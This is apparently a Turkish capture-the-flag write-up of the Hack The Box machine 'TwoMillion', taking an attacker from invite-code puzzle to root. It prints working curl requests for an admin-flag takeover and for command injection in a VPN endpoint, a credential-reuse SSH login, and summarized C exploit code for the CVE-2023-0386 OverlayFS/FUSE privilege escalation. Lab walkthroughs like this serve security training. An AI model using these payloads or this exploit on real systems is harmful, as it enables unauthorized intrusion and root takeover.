HTB'de "TwoMillion" adında bir makine gördüğümde aklımdan tek bir şey geçti: bu makine kendi platformunun ilk versiyonunu simüle ediyor olmalı. O dönemde HTB'ye girmek için davet kodu sistemi vardı, sayfada bir bulmaca çözer, kodu alır, ondan sonra kaydolurdun. Bunu hatırlayanlar şu an gülümseyecektir.
Hikaye nereden başladı? Tek bir nmap satırından. Sonra nereye geldi? Kernel 5.15.70'in içinde yarım uyumuş bir OverlayFS bug'ından. Aradaki yolu beraber gezelim.
Keşif: Sadece İki Kapı Açık
Her pentest'in başlangıcı için sevdiğim ritüel aynı: ne olduğunu hiç bilmediğim bir IP'ye nmap atıp ekrana akan portları izlemek. Hangi servisler ön kapıda nöbet tutuyor? Saldırı yüzeyi ne kadar büyük? Bunu görmeden başka bir şey yapmıyorum.
$ nmap -sC -sV -oN nmap_initial.txt 10.129.1.230
Nmap scan report for 10.129.1.230
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Çıktıya bakarken iki şey dikkatimi çekti. Birincisi, sadece iki port açık. Bu çok dar bir yüzey demek. Saldırı vektörü ya web'den olacak ya da SSH üzerinden, başka şansım yok. İkincisi, OpenSSH 8.9p1, Ubuntu 22.04 paketi. Bu sürüm bildiğim kadarıyla doğrudan exploitable değil, brute force da easy makinelerde nadiren mantıklı oluyor. Yani web tarafına bakacağım.
nginx beni http://2million.htb/ adresine yönlendiriyor, host header gerek. Hosts dosyasına ekledim:
$ echo "10.129.1.230 2million.htb" | sudo tee -a /etc/hosts
Şimdi tarayıcıda http://2million.htb/ açıldığında karşımda HTB'nin nostaljik arayüzü duruyor. Sayfanın hemen üstünde bir /invite linki, "join" butonu. Klasik HTB hikayesi başlıyor.
/invite Bulmacası: JS Tersine Mühendislik
Davet kodu sayfasına gidiyorum. Üstte şöyle bir yazı: "Katılmak için önce bir davet kodu bulmacasını çözmen lazım. Eğer bunu çözemezsen, platformdan da bir şey anlayamazsın." Bana meydan okuyor gibi, hoş bir dokunuş.
Page source'ı açıyorum. İçeride /js/inviteapi.min.js diye bir dosya çağrılıyor. Adında "min" geçen her şey beni şüphelendirir, çünkü genellikle minify edilmiş olur, içeride birileri "bunu kimse açıp bakmaz" diye umuyor olur. Açıp bakacağım.
$ curl -s http://2million.htb/js/inviteapi.min.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String))...
Bu klasik eval(function(p,a,c,k,e,d){...}) packer'ı. Dean Edwards'ın "packed" formatı. Tek yapman gereken eval'i console.log ile değiştirip browser console'a yapıştırmak, ya da online bir unpacker kullanmak. Ben tarayıcı console'ında çözdüm. Karşıma iki fonksiyon çıktı:
function makeInviteCode() { $.ajax({ type: "POST", url: "/api/v1/invite/how/to/generate", ... }); } function verifyInviteCode(code) { $.ajax({ type: "POST", url: "/api/v1/invite/verify", ... }); }
İlginç olan birinci fonksiyon: /api/v1/invite/how/to/generate. Yani gerçek invite üretme endpoint'i değil; bana "davet kodunu nasıl üretirsin" bilgisini veriyor. Klasik bir kademe-bir-aşağı bilmece. Hemen çağırdım:
$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
}
}
Sunucu kibarca diyor ki: "Bak burası ROT13 ile şifreli." Sağ olsun, decoder yazmama gerek bıraktırmıyor. ROT13 zaten harf kaydırmalı bir şifre, online araç kullanmak bile gereksiz, bash ile çevirilir:
$ echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" \
| tr 'A-Za-z' 'N-ZA-Mn-za-m'
In order to generate the invite code, make a POST request to /api/v1/invite/generate
Yol açıldı, asıl endpoint /api/v1/invite/generate:
$ curl -s -X POST http://2million.htb/api/v1/invite/generate
{"data": {"code": "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=", "format": "encoded"}}
Sondaki = işareti bana base64 fısıldıyor. Decode:
$ echo "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=" | base64 -d
8ADJ5-NFX9R-LS4Z0-EDNHW
Davet kodu elimde: 8ADJ5-NFX9R-LS4Z0-EDNHW. Bu kodlar tek kullanımlık, bende çalışan örnek VWBHG-8ZETW-FNGQA-31X7F kodu oldu.
Hesap Açma ve Login
Davet kodu eldeyken kayıt formunu inceledim. Form, code, username, email, password ve password_confirmation alanlarını istiyor. Hepsini doldurup POST attım:
$ curl -i -s -X POST http://2million.htb/api/v1/user/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=VWBHG-8ZETW-FNGQA-31X7F&username=hacker&email=hacker%40htb.local&password=Hacker123!&password_confirmation=Hacker123!"
HTTP/1.1 302 Found
Location: /login
302 yönlendirme geldi, yani kayıt başarılı. Şimdi giriş yapıp session cookie'yi saklayacağım, sonraki istekler için lazım olacak:
$ curl -i -s -c cookies.txt -X POST http://2million.htb/api/v1/user/login \
-H "Content-Type: application/json" \
-d '{"email":"hacker@htb.local","password":"Hacker123!"}'
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=...; path=/; HttpOnly
{"message":"You are logged in"}
Bundan sonraki tüm isteklerde -b cookies.txt bayrağıyla bu session'ı kullanacağım.
API Keşfi ve BOLA: Adminliği Kibarca İstedim
Login sonrası ilk yaptığım şey API'nin kendi şemasını okumak. Bazı uygulamalar /api/v1 endpoint'inde komple route listesini gösterir, geliştirici dokümanı gibi. Test ettim:
$ curl -s http://2million.htb/api/v1 -b cookies.txt | jq .
{
"v1": {
"user": {
"GET": {
"/api/v1": "Routes",
"/api/v1/user/auth": "Check if you are authenticated",
...
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user",
...
}
},
"admin": {
"GET": { "/api/v1/admin/auth": "Check if you are admin" },
"POST": { "/api/v1/admin/vpn/generate": "Generate VPN for a specific user" },
"PUT": { "/api/v1/admin/settings/update": "Update user settings" }
}
}
}
İlk gözüme çarpanlar:
GET /api/v1/admin/auth, beni admin sayıyor mu kontrol et.POST /api/v1/admin/vpn/generate, admin yetkisi gerektiren bir VPN üretme endpoint'i.PUT /api/v1/admin/settings/update, kullanıcı ayarlarını güncelle.
Önce mevcut durumu sormak istedim:
$ curl -s http://2million.htb/api/v1/admin/auth -b cookies.txt
{"message":false}
Beklediğim cevap, normal kullanıcıyım, admin değilim. Şimdi sıra /admin/settings/update'de. Adında admin geçtiği için normalde yetki kontrolü olmalı. Ama "olmalı" ile "var" çoğu zaman aynı şey değil, özellikle CTF'lerde. Bir deneyeyim:
$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{"is_admin":1,"email":"hacker@htb.local"}'
{"id": 13, "username": "hacker", "is_admin": 1}
Bekle... Bu kadar mı? Endpoint hiçbir şey sormadan is_admin alanını 1 yaptı. Tekrar kontrol:
$ curl -s http://2million.htb/api/v1/admin/auth -b cookies.txt {"message":true}
Admin oldum. Yapmam gereken tek şey, normal bir kullanıcı olarak admin endpoint'ine bir PUT isteği atıp is_admin alanını kendim için 1'e çekmekti. Sunucuda hiçbir yetki kontrolü yoktu.
VPN Üretici, Saf Komut Çalıştırıyor
Admin olarak diğer endpoint'lere baktım. /admin/vpn/generate ilgimi çekti. Normalde HTB'nin VPN profili üretiyor, .ovpn dosyası döndürüyor. Geliştirici büyük ihtimalle bunu shell üzerinden yapıyor, çünkü OpenVPN config üretimi genelde bir script ile olur. Eğer öyleyse username parametresi shell'e direkt geçiyor olabilir.
Önce normal bir istek:
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{"username":"hacker"}'
# OpenVPN Configuration
client
dev tun
proto udp
remote ...
<ca>
-----BEGIN CERTIFICATE-----
...
Geçerli bir .ovpn döndü. Sıra kötü niyetli istek:
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \ -H "Content-Type: application/json" \ -b cookies.txt \ -d '{"username":"hacker;id;"}' uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bingo. Sunucu id komutunun çıktısını döndürdü, yanına da yarım kalmış .ovpn dosyasını. Komut enjeksiyonu çalıştı. Username parametresi büyük ihtimalle PHP'de şu şekilde bir koda gidiyor: shell_exec("./vpn-script.sh " . $username). Ben hacker;id; yolladığım için shell ilk komutu (script) çalıştırdı, sonra noktalı virgül ayırıcısıyla id'yi çalıştırdı, sonuç da response'a karıştı.
İlk önce reverse shell denedim ama ortam kısıtlıydı, basit bir komut enjeksiyonuyla shell almak için bir tcp listener kurup payload göndermek gerekiyordu. Ama önce ortamı tanıyalım, komut bazlı keşif:
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \ -H "Content-Type: application/json" -b cookies.txt \ -d '{"username":"hacker;whoami;hostname;pwd;uname -a;"}' www-data 2million /var/www/html Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64
İki şey kafamda bir kenara not edildi:
- Web root
/var/www/html. Buradan config dosyalarını arayacağım. - Kernel 5.15.70, Eylül 2022'den kalma. Bu tarih ileride çok kritik olacak.
.env Hatası, SSH ve user.txt
www-data olarak içerideyim ama bu çok kısıtlı bir hesap, root'a sıçramam için önce düzgün bir user shell'i ister. SSH erişimi olan bir user bulursam, hayatım kolaylaşır. Web root'unda .env dosyası ararken Laravel sezgisi devreye girdi:
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \ -H "Content-Type: application/json" -b cookies.txt \ -d '{"username":"hacker;find /var/www/html -name \".env\";"}' /var/www/html/.env $ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \ -H "Content-Type: application/json" -b cookies.txt \ -d '{"username":"hacker;cat /var/www/html/.env;"}' DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123 DB_PORT=3306 MAIL_TO=ch4p@2million.htb HTB_API_KEY=...
Veritabanı şifresi: SuperDuperPass123. Klasik geliştirici şifresi, daha da klasik bir hata: bunu sadece DB için değil, OS user'ı için de kullanmış olabilir. Password reuse her zaman umut verici. SSH'ı deniyorum:
$ sshpass -p 'SuperDuperPass123' ssh admin@10.129.1.230 'id' uid=1000(admin) gid=1000(admin) groups=1000(admin)
Geçti. Şimdi proper bir shell ile içerideyim:
$ ssh admin@10.129.1.230
admin@2million:~$ cat user.txt
Postacının İpucu: Mail'de Yatan CVE
Privilege escalation aşamasına geçtim. İlk reflexim her zaman aynı: kernel versiyonu, sudo -l, suid binary'ler, cron job'lar, sonra ev dizini. Bu makinede ev dizininde özel bir dosya vardı: /var/mail/admin. Mail spool'u. Bu makineden HTB'nin "patron"larından biri (ch4p) admin'e bir e-posta atmıştı:
$ cat /var/mail/admin From: ch4p <ch4p@2million.htb> Subject: Urgent: Patch System OS Hey admin, ...can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that. HTB Godfather
İpucu açık: OverlayFS + FUSE. Bu kombinasyon 2023 başında çıkan bir CVE'yi işaret ediyor: CVE-2023-0386. Tahminimi doğrulamak için kernel sürümünü tekrar kontrol ettim:
admin@2million:~$ uname -a Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64
5.15.70. CVE-2023-0386 patch'i Linux 6.2 öncesinde tüm sürümleri etkiliyor, 5.15 ailesinde de patch'i Mart 2023'te indi. Eylül 2022 kernel'ı ile açık ve net vulnerable.
CVE-2023-0386 Acaba Nasıl Bir Zafiyetmiş?
Açıkçası bu CVE'yi mail spool'unda gördüğüm ana kadar hiç incelememiştim. Adı tanıdık geliyordu, "OverlayFS, FUSE" diye geçiyordu zamanında haberlerde ama detay kafamda yoktu. Şimdi mecburum, çünkü exploit kullanacaksam nasıl çalıştığını bilmeden çalıştırmak istemiyorum. Hep beraber bakalım, ben de yazarken kafamda yerli yerine oturuyor.
Önce FUSE, ne bu?
FUSE (Filesystem in Userspace) Linux'ta sıradan bir kullanıcının kendi dosya sistemini "uydurmasına" izin veren bir mekanizmaymış. Normalde bir dosya sistemi yazmak için kernel'in derinine girmen gerekir, ext4 gibi. FUSE bunu kullanıcı seviyesine indiriyor: bir program yazıyorsun, "bu mount noktasına bakan biri olursa, ben ona şu cevapları döneceğim" diyorsun. SSHFS, NTFS-3G gibi araçlar bu mantıkla çalışıyor.
Şu kısım önemli: FUSE üzerinden gösterdiğin bir dosyanın metadata bilgilerini sen söylüyorsun. "Bu dosyanın sahibi root, modu SUID set" gibi şeyleri sen iddia ediyorsun, kernel da seni dinliyor. Çünkü kernel açısından "dosya sisteminin kendisi" zaten sensin.
Bir de OverlayFS varmış
OverlayFS iki dizini üst üste bindirip tek bir dizin gibi gösteren bir yapı. Docker'ın container image katmanları bu mantıkla çalışıyor. Basitçe:
- lowerdir: alt katman, read-only sayılır. "Asıl içerik" burada.
- upperdir: üst katman, değişiklikler buraya yazılır.
- merged: kullanıcıya görünen, ikisinin birleşimi.
İlginç olan şu: lowerdir'deki bir dosyayı değiştirmek istersen, OverlayFS önce dosyayı upperdir'e kopyalıyor, sonra orada değiştiriyor. Bu kopyalama işlemine copy_up deniyormuş. İsmi aklında tut, az sonra lazım olacak.
İkisini birleştirince ne çıkıyor?
Şimdi bağlanma noktası burası. Birisi FUSE ile sahte bir dosya sistemi mount etse, içinde "sahibi root, SUID set" diye yalan söylenen bir dosya gösterse, sonra bu sahte FUSE dizinini OverlayFS'in lowerdir'ü olarak verse? Yani "alt katman = benim yalancı dosya sistemim"?
Saldırgan dosyaya bir kez dokununca (mesela cp ile başka yere kopyalamaya çalışınca) OverlayFS copy_up'ı tetikleniyor. Dosyayı lowerdir'den (FUSE) upperdir'e (gerçek disk) taşıyor. Ve işte bug burada: copy_up sırasında kernel, FUSE'ın iddia ettiği "sahibi root, SUID set" metadata'sını olduğu gibi koruyarak gerçek diske yazıyor.
Sonuç şu: gerçek diskte, gerçekten uid=0, SUID bit'li bir binary oluşuyor. FUSE'tan değil, gerçek filesystem'den. Çalıştırdığında kernel "SUID var, sahibi root, eh o zaman effective uid'i 0'a çekeyim" diyor. Root shell.
Exploit Anatomisi: fuse.c + exp.c
Bu zafiyetin public PoC'leri çok. Metasploit'in hazır modülü var (cve_2023_0386.x64.elf), GitHub'da xkaneiki ve sxlmnwb gibi araştırmacılar referans implementation'lar yayınlamış. Ben sıfırdan exploit yazmadım, kernel seviyesinde o derinlikte bir bilgim yok. GitHub'daki public PoC'lerden bir tanesini kaynak olarak alıp fuse.c ve exp.c'yi makineye taşıdım. Önemli olan kısım şu: kodu çalıştırmadan önce satır satır gezerek her parçanın ne yaptığını anlamaya çalıştım. Çünkü "exploit indirip çalıştırdım" demek bu yazının amacına aykırı, asıl mesele bug'ın nasıl çalıştığı.
Aşağıda kodu kendi anladığım kadarıyla parçalıyorum. Exploit iki C dosyasından oluşuyor: birincisi FUSE daemon, "sahte SUID dosyayı" gösteriyor; ikincisi ana akış, namespace + overlayfs mount + copy_up tetikleyici.
fuse.c: Sahte SUID'li Dosya
İlk dosya çok küçük ama hayati. FUSE callback'lerini implement ediyor:
// fuse.c (özet) #define FUSE_USE_VERSION 30 #include <fuse.h> #include <sys/stat.h> static const char* evil_path = "/tmp/evil/suid"; static int evil_getattr(const char* path, struct stat* stbuf, struct fuse_file_info* fi) { memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if (strcmp(path, "/suid") == 0) { stbuf->st_mode = S_IFREG | S_ISUID | 0755; // !! SUID bit stbuf->st_nlink = 1; stbuf->st_size = 16096; stbuf->st_uid = 0; // !! sahibi root diyorum stbuf->st_gid = 0; } else { return -ENOENT; } return 0; } static int evil_read(const char* path, char* buf, size_t size, off_t offset, struct fuse_file_info* fi) { if (strcmp(path, "/suid") != 0) return -ENOENT; int fd = open(evil_path, O_RDONLY); // gerçek binary buradan okunuyor if (fd < 0) return -errno; int ret = pread(fd, buf, size, offset); close(fd); return ret; }
Burada gerçek hile evil_getattr içinde. Kernel "bu dosyanın metadata'sı ne?" diye sorduğunda FUSE daemon bilerek yalan söylüyor: "Sahibi root, SUID set, normal bir regular file." İçeriği sorduğundaysa evil_read üzerinden gerçek bir binary dönüyor, /tmp/evil/suid yoluna konan ne ise. Pratikte oraya /bin/bash'ın bir kopyasını koyuyoruz, böylece copy_up sonrası gerçek diske SUID bit'li bir bash çıkıyor.
exp.c: Namespace + OverlayFS + Copy_up
İkinci dosya exploit'in beyni. Adım adım:
// exp.c (özet) #define _GNU_SOURCE #include <sched.h> #include <sys/mount.h> #define UPPER "/tmp/upper" #define LOWER "/tmp/lower" #define WORK "/tmp/work" #define MERGE "/tmp/merge" #define FUSE_MNT "/tmp/fuse" int child_exec(void *arg) { char opts[256]; snprintf(opts, sizeof(opts), "lowerdir=%s,upperdir=%s,workdir=%s", FUSE_MNT, UPPER, WORK); // lowerdir = FUSE mount! if (mount("overlay", MERGE, "overlay", 0, opts) < 0) err(1, "mount overlay"); // copy_up tetikle: merged'dan dosyayi gercek FS'e kopyala system("cp " MERGE "/suid /tmp/sh"); struct stat st; if (stat("/tmp/sh", &st) == 0 && (st.st_mode & S_ISUID)) { printf("[+] SUID preserved! Launching shell...\n"); execl("/tmp/sh", "sh", "-p", "-c", "id; cat /root/root.txt", NULL); } return 0; } int main(int argc, char **argv) { mkdir(UPPER, 0755); mkdir(LOWER, 0755); mkdir(WORK, 0755); mkdir(MERGE, 0755); mkdir(FUSE_MNT, 0755); // FUSE daemon'u arka planda calistir pid_t fuse_pid = fork(); if (fuse_pid == 0) { execl("/tmp/fuse", "/tmp/fuse", FUSE_MNT, "-f", NULL); } sleep(1); // Yeni user + mount namespace icinde child pid_t child = clone(child_exec, child_stack + STACK_SIZE, CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD, argv); // uid_map / gid_map: namespace icinde root gibi gorun char path[64], buf[64]; snprintf(path, sizeof(path), "/proc/%d/uid_map", child); snprintf(buf, sizeof(buf), "0 %d 1\n", getuid()); int fd = open(path, O_WRONLY); write(fd, buf, strlen(buf)); close(fd); // gid_map icin setgroups deny gerekiyor snprintf(path, sizeof(path), "/proc/%d/setgroups", child); fd = open(path, O_WRONLY); write(fd, "deny", 4); close(fd); snprintf(path, sizeof(path), "/proc/%d/gid_map", child); snprintf(buf, sizeof(buf), "0 %d 1\n", getgid()); fd = open(path, O_WRONLY); write(fd, buf, strlen(buf)); close(fd); waitpid(child, NULL, 0); kill(fuse_pid, 9); return 0; }
Adım adım ne olduğunu açıklayayım:
- FUSE daemon başlatılıyor.
fork()ile arka planda/tmp/fuseprogramı,/tmp/fusemount noktasına bağlanıyor. Artık/tmp/fuse/suiddosyası "root SUID" gibi görünüyor. - Yeni namespace.
clone()ileCLONE_NEWUSER | CLONE_NEWNSbayrakları çağrılıyor. Yeni user namespace içinde uid=0 olabilirim, yeni mount namespace içinde de OverlayFS mount edebilirim, bunlar normalde unprivileged user'a kapalı. - uid_map / gid_map. Yeni namespace'in "namespace dışındaki uid'm" ile "namespace içindeki uid 0" eşlemesi yapılıyor. Bu bana namespace içinde root illüzyonu veriyor.
- OverlayFS mount. lowerdir olarak FUSE mount noktasını veriyorum. Yani OverlayFS'in "alt katman"ı kendi yalan söyleyen FUSE'um. upperdir gerçek diskte,
/tmp/upper. - Copy_up tetikleme.
cp /tmp/merge/suid /tmp/shkomutu. OverlayFS, dosyayı önce lowerdir'den (FUSE) upperdir'e copy_up ediyor, sonra cp upperdir'den /tmp/sh'a kopyalıyor. Bug: copy_up sırasında SUID biti ve uid=0 korunuyor. - Çalıştır.
/tmp/sh -p -c "id; cat /root/root.txt".-pbayrağı bash'in privilege drop'unu kapatıyor (yoksa euid'i yeniden uid'e set ediyor). Effective uid=0 olarak çalışıyor.
Build ve Çalıştır
Hedefte fuse3-dev ve build-essential yoktu, kernel header'ı vardı ama temiz değildi. PoC'yi Kali tarafında derleyip scp ile hedefe attım:
# Kali tarafinda $ make gcc -Wall -o fuse fuse.c `pkg-config fuse3 --cflags --libs` gcc -o exp exp.c -lcap $ scp fuse exp admin@10.129.1.230:/tmp/ # Hedefte admin@2million:/tmp$ chmod +x /tmp/fuse /tmp/exp admin@2million:/tmp$ mkdir -p /tmp/evil admin@2million:/tmp$ cp /bin/bash /tmp/evil/suid # fuse.c'nin gostermesini istedigim binary admin@2million:/tmp$ ./exp [+] FUSE mounted [+] Overlayfs mounted [+] SUID preserved! Launching shell... uid=1000(admin) gid=1000(admin) euid=0(root) groups=1000(admin)
İşte tam o "SUID preserved" satırı, exploit'in başarılı olduğu an. stat() dosyanın modu üzerinde S_ISUID bitini buldu, bu da OverlayFS'in copy_up sırasında bug'ı tetiklediği anlamına geliyor.
cve_2023_0386.x64.elf'i de aynı işi yapıyor, sadece
tek binary olarak paketlenmiş, içinde FUSE daemon ve namespace setup beraber. İlk geçişte onu
da denedim, cp /usr/share/metasploit-framework/data/exploits/CVE-2023-0386/cve_2023_0386.x64.elf
admin@target:/tmp/exploit sonrası /tmp/exploit /tmp/bash_payload /tmp/exploit_base
şeklinde. Ama bug'ı parça parça görmek için iki dosyaya bölünmüş PoC'u kullanmak daha öğretici.
Root, root.txt ve Çıkış
Exploit shell'ini kalıcı bir root shell'e çevirmek için -p bayrağıyla bash spawn ettim, sonra istediğim her yere ulaştım:
admin@2million:/tmp$ /tmp/sh -p sh-5.1# id uid=1000(admin) gid=1000(admin) euid=0(root) groups=1000(admin) sh-5.1# cat /root/root.txt
Saldırı Zinciri, Tek Bakışta
nmap -> iki port (22, 80) | v /invite sayfasi -> obfuscated JS -> ROT13 -> base64 -> davet kodu | v kayit + login -> PHPSESSID | v API kesfi -> PUT /api/v1/admin/settings/update -> BOLA: is_admin = 1 | v POST /api/v1/admin/vpn/generate -> username paramda command injection -> www-data shell | v .env dosyasi -> DB password -> SSH password reuse | v admin shell -> user.txt | v mail spool'da OverlayFS/FUSE ipucu + kernel 5.15.70 (vulnerable) | v CVE-2023-0386: kendi fuse.c + exp.c -> FUSE ile sahte SUID dosya -> OverlayFS lowerdir = FUSE mount -> copy_up SUID bitini koruyor -> euid=0 -> root.txt
Zafiyetler Tablosu
| # | Zafiyet | Etki | Sınıf |
|---|---|---|---|
| 1 | Obfuscated JS'te endpoint sızıntısı | Davet kodu sistemi bypass | A05: Security Misconfiguration |
| 2 | BOLA: PUT /admin/settings/update | Normal user, kendini admin yapıyor | OWASP API A01: Broken Object Level Auth |
| 3 | Command Injection (username paramı) | www-data RCE | OWASP A03: Injection |
| 4 | .env web root altında | DB credential sızıntısı | A05: Security Misconfiguration |
| 5 | DB şifresi == SSH şifresi | Lateral movement, user shell | A07: Identification and Auth Failures |
| 6 | CVE-2023-0386 (OverlayFS + FUSE) | Kernel-level root | CVE-2023-0386 |
Bana Bıraktıkları
Bu makinenin bana hatırlattığı en güçlü ders kademeli güveni ne kadar kolay kaybedebileceğin. Saldırgan başlangıçta hiçbir şey değil, ne hesabı var ne erişimi. Üç saat sonra root. Her aşamada bir kişi bir adım fazla güvendi:
- JS'i obfuscate eden geliştirici "kimse bunu açmaz" diye düşündü.
- API'yi yazan kişi "endpoint'in adında admin geçiyor, login'liyse zaten admin'dir" diye varsaydı.
- VPN script'ini çağıran kişi "username parametresi zaten admin panelinden geliyor, sanitize etmeme gerek yok" dedi.
- .env dosyasını koyduğu yerin web root'una eklendiğini fark etmedi.
- DB için seçtiği şifreyi OS user'ında da kullandı.
- Sysadmin kerneli zamanında yamamadı, ipucunu bilseydi bile.
Yazıyı okuduğun için teşekkürler. Yanlış bulduğun, eklemek istediğin, sormak istediğin bir şey olursa Twitter veya mail her zaman açık.
// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.21